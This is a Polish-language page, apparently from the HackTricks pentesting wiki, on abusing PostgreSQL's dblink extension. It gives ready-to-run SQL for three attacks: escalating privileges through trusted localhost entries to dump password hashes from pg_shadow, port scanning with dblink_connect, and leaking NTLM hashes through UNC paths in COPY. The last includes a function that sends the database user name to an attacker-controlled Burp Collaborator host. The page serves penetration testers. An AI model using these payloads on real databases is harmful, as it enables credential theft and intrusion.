Sieć - Privesc, skaner portów i ujawnienie odpowiedzi NTLM
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Znajdź więcej informacji na temat tych ataków w oryginalnym dokumencie.
Od PostgreSQL 9.1 instalacja dodatkowych modułów jest prosta. Zarejestrowane rozszerzenia, takie jak dblink
, można zainstalować za pomocą CREATE EXTENSION
:
CREATE EXTENSION dblink;
Gdy masz załadowany dblink, możesz wykonać kilka interesujących sztuczek:
Eskalacja Uprawnień
Plik pg_hba.conf
może być źle skonfigurowany pozwalając na połączenia z localhost jako dowolny użytkownik bez potrzeby znajomości hasła. Plik ten można zazwyczaj znaleźć w /etc/postgresql/12/main/pg_hba.conf
, a zła konfiguracja wygląda następująco:
local all all trust
Note, że ta konfiguracja jest powszechnie używana do modyfikacji hasła użytkownika bazy danych, gdy administrator je zapomni, więc czasami możesz to znaleźć.
Note również, że plik pg_hba.conf jest czytelny tylko dla użytkownika i grupy postgres oraz zapisywalny tylko przez użytkownika postgres.
Ten przypadek jest przydatny, jeśli masz już powłokę wewnątrz ofiary, ponieważ pozwoli ci to połączyć się z bazą danych postgresql.
Inna możliwa błędna konfiguracja polega na czymś takim:
host all all 127.0.0.1/32 trust
Ponieważ pozwoli to każdemu z localhostu na połączenie z bazą danych jako dowolny użytkownik.
W tym przypadku, jeśli funkcja dblink
działa, możesz eskalować uprawnienia, łącząc się z bazą danych przez już nawiązane połączenie i uzyskać dostęp do danych, do których nie powinieneś mieć dostępu:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Port Scanning
Wykorzystując dblink_connect
, możesz również wyszukiwać otwarte porty. Jeśli ta **funkcja nie działa, powinieneś spróbować użyć dblink_connect_u()
, ponieważ dokumentacja mówi, że dblink_connect_u()
jest identyczna z dblink_connect()
, z tą różnicą, że pozwoli użytkownikom niebędącym superużytkownikami łączyć się przy użyciu dowolnej metody uwierzytelniania_.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Zauważ, że przed możliwością użycia dblink_connect
lub dblink_connect_u
może być konieczne wykonanie:
CREATE extension dblink;
UNC path - ujawnienie hasha NTLM
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.